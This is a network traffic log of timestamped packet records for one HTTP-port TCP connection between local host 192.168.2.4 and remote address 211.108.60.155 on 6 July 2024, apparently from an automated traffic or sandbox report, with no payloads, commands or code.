Jul 6, 2024 14:10:07.199731112 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.199738026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.199759960 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.199770927 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.199796915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.199837923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.199856043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.199898005 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.199909925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.199953079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.199953079 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.199990034 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.200056076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.200064898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.200093985 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.200108051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.200201988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.200211048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.200249910 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.200334072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.200351000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.200378895 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.200388908 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.200455904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.200491905 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.200544119 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.200552940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.200562954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.200587034 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.200598955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.200731039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.200757027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.200773954 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.200788021 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.200906038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.200948000 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.200994968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.201036930 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.201051950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.201061964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.201090097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.201103926 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.201153994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.201190948 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.201215982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.201225996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.201255083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.201255083 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.201267958 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.201292038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.201478958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.201524019 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.201540947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.201551914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.201575041 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.201585054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.201594114 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.201594114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.201621056 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.201637983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.202745914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.202760935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.202771902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.202791929 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.202802896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.202868938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.202883959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.202894926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.202905893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.202909946 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.202936888 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.202955008 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.203007936 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.203018904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.203051090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.203053951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.203059912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.203083038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.203099966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.203311920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.203356028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.203432083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.203473091 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.203505993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.203546047 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.203560114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.203571081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.203582048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.203597069 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.203624010 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.203636885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.203671932 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.203702927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.203718901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.203728914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.203743935 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.203763008 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.203772068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.203783035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.203793049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.203818083 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.203835964 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.203888893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.203927040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.204379082 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.204425097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.204447985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.204458952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.204487085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.204498053 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.393487930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.393615961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.393635988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.393652916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.393662930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.393673897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.393681049 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.393681049 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.393681049 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.393681049 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.393697023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.393709898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.393718004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.393719912 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.393719912 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.393728018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.393728971 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.393748045 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.393759012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.393920898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.393963099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.393975019 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.393984079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.394017935 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.394179106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.394221067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.394222021 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.394232035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.394254923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.394268036 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.394376993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.394417048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.394423962 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.394427061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.394449949 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.394463062 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.394577980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.394619942 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.394643068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.394651890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.394676924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.394678116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.394695997 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.394705057 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.394784927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.394793987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.394824028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.394881010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.394890070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.394925117 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.395009041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.395016909 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.395056963 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.395118952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.395134926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.395159006 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.395170927 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.395232916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.395241976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.395270109 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.395281076 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.395340919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.395376921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.395389080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.395514011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.395523071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.395545006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.395576000 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.395586014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.395678043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.395723104 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.395756006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.395791054 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.395833969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.395867109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.395879984 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.395895004 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.395903111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.395929098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.395937920 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.395963907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.396039009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.396081924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.396130085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.396140099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.396148920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.396176100 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.396188021 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.396450996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.396476030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.396492004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.396497965 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.396513939 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.396528006 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.396785975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.396795034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.396805048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.396816015 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.396825075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.396833897 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.396848917 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.396873951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.397320032 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.397330046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.397340059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.397350073 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.397357941 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.397361040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.397368908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.397377968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.397381067 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.397406101 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.397422075 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.397429943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.397466898 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.397484064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.397495031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.397519112 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.397531033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.397643089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.397685051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.397687912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.397697926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.397706985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.397722960 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.397739887 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.397792101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.397800922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.397830963 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.397881985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.397929907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.397959948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.397995949 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.398030996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.398040056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.398072004 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.398086071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.398128986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.398173094 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.398197889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.398236990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.398281097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.398291111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.398324013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.398394108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.398402929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.398433924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.398566961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.398608923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.589724064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.589957952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.590045929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.590056896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.590068102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.590078115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.590087891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.590101004 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.590130091 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.590219975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.590230942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.590240002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.590264082 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.590279102 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.590296984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.590311050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.590332985 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.590343952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.590352058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.590353012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.590377092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.590395927 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.590445042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.590454102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.590491056 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.590564966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.590607882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.590614080 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.590619087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.590636015 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.590640068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.590651989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.590675116 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.590770960 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.590779066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.590814114 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.590850115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.590858936 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.590894938 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.590945959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.590989113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.591006994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.591042042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.591053009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.591062069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.591090918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.591169119 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.591200113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.591212988 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.591237068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.591346025 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.591387987 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.591413975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.591423988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.591433048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.591453075 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.591468096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.591588974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.591629028 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.591633081 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.591664076 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.591717005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.591732979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.591758966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.591772079 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.591805935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.591815948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.591850996 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.591944933 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.591989040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.592010975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.592048883 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.592113018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.592154026 CEST	49732	80	192.168.2.4	211.108.60.155
